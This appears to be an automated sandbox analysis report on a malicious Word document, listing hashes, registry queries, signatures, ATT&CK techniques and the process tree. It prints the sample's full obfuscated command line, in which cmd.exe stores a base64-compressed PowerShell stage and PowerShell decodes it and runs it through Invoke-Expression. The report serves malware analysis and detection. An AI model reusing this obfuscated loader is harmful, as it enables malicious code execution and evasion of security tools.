e75b2858a88962cfb7818a6908ad01a9682b0074e5f996cede0f59c8a83a3908

Analysis

max time kernel
49s
max time network
73s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
01-02-2022 03:08

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General

Target

e75b2858a88962cfb7818a6908ad01a9682b0074e5f996cede0f59c8a83a3908.doc
Size

71KB
MD5

451ba7b81467b1f901b347d94e0b8bd8
SHA1

62b4acdf2515930af282ffac34e6e7e7bba8366c
SHA256

e75b2858a88962cfb7818a6908ad01a9682b0074e5f996cede0f59c8a83a3908
SHA512

1f1489718d4c28d29c7f6eae0a619cd28e84e745ba83b83b7269559e6625fa5c506930b7c9c8bb76b8030605f6f0ab589674d569bd9fc9573abe8958bafbd72a

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4072	452	CMD.exe	81

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
452	WINWORD.EXE
452	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3780	svchost.exe
Token: SeCreatePagefilePrivilege	3780	svchost.exe
Token: SeShutdownPrivilege	3780	svchost.exe
Token: SeCreatePagefilePrivilege	3780	svchost.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
452	WINWORD.EXE
452	WINWORD.EXE
452	WINWORD.EXE
452	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 452 wrote to memory of 4072	452	WINWORD.EXE	90
PID 452 wrote to memory of 4072	452	WINWORD.EXE	90
PID 4072 wrote to memory of 260	4072	CMD.exe	92
PID 4072 wrote to memory of 260	4072	CMD.exe	92

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e75b2858a88962cfb7818a6908ad01a9682b0074e5f996cede0f59c8a83a3908.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:452
- C:\Windows\SYSTEM32\CMD.exe
  CMD c:\Windows\SySTEm32\cmd /C "SeT LdEbZ=^& ( $sheLLId[1]+$shelliD[13]+'X') (NEw-oBJEct IO.COmpREsSIoN.deFLaTeSTrEAM([io.MemorYsTrEaM] [CoNVerT]::fROMBASE64STRiNG( 'TZBNa8JAEIb/Sg6BVaybi7bUEEhbK3iwpZZaD71sNhMyurtZNhPjB/53N7ZQLwMz88zDy4Q77RID7bDKNiApeAPi35C9KARDcfis3hNWEtlJFLVtywsEJ3JQSuimRik4UjRapX8EFIVq9hpyFFxWOqplenOrhSwbi9JXB7a+Eg9qvLL235A5UaMCdGhKkYFo6NBxPHPRx7IZvS6e4FYpcqq1cFSDbBz+stFyOkNcHyTjn1Yh9VjK+nFYfK2DJGCP43vmm+MiCcHsJgTaDtgPG3T7AeOwBxYXlQOftRdujiJAE3Rf6J/IHU6h/xafVq1RlchnPuiVuQs6YT+em121heHcS6+TOPOebXyWgmR5Op8v' ) ,[systEM.IO.cOmPRESsion.cOMpressIONMOdE]::DEcomPREss) ^| % { NEw-oBJEct iO.sTReaMReAdER($_,[TEXt.ENCOdIng]::aScIi) } ).reaDToEnD( )&& POwERshELl . (\"{0}{2}{1}\"-f'sE','IteM','T-' ) ( 'vaRIable:9' + 'BUwS' + 'n' ) ( [tYPE]( \"{2}{3}{0}{1}\" -F'RONMe','nT','Env','i')) ; ( ( ^&( 'Ls' ) ( 'vAriAbLe:9' +'BuWS' + 'n' ) ).\"VA`lUe\"::(\"{3}{0}{1}{6}{4}{2}{5}\"-f'iRO','N','riAb','GetenV','a','le','menTV').Invoke( ( \"{1}{0}\" -f'ebZ','ld'),(\"{2}{0}{1}\"-f 'S','s','pRoCe') ) ) ^| ^&( \"{1}{0}{3}{2}\" -f 'nVoKE','I','ESsiOn','-EXpR')"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POwERshELl . (\"{0}{2}{1}\"-f'sE','IteM','T-' ) ( 'vaRIable:9' + 'BUwS' + 'n' ) ( [tYPE]( \"{2}{3}{0}{1}\" -F'RONMe','nT','Env','i')) ; ( ( &( 'Ls' ) ( 'vAriAbLe:9' +'BuWS' + 'n' ) ).\"VA`lUe\"::(\"{3}{0}{1}{6}{4}{2}{5}\"-f'iRO','N','riAb','GetenV','a','le','menTV').Invoke( ( \"{1}{0}\" -f'ebZ','ld'),(\"{2}{0}{1}\"-f 'S','s','pRoCe') ) ) | &( \"{1}{0}{3}{2}\" -f 'nVoKE','I','ESsiOn','-EXpR')
    3⤵
    PID:260

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe f3d853be3003e9d0ee726c27df49fc00 kshHHQPeHki0zmOrj22tlA.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/452-130-0x00007FFBD6210000-0x00007FFBD6220000-memory.dmp

Filesize
64KB

Download
memory/452-131-0x00007FFBD6210000-0x00007FFBD6220000-memory.dmp

Filesize
64KB

Download
memory/452-132-0x00007FFBD6210000-0x00007FFBD6220000-memory.dmp

Filesize
64KB

Download
memory/452-133-0x00007FFBD6210000-0x00007FFBD6220000-memory.dmp

Filesize
64KB

Download
memory/452-134-0x00007FFBD6210000-0x00007FFBD6220000-memory.dmp

Filesize
64KB

Download
memory/452-135-0x00007FFBD38E0000-0x00007FFBD38F0000-memory.dmp

Filesize
64KB

Download
memory/452-136-0x00007FFBD38E0000-0x00007FFBD38F0000-memory.dmp

Filesize
64KB

Download
memory/3780-137-0x000002537C960000-0x000002537C970000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads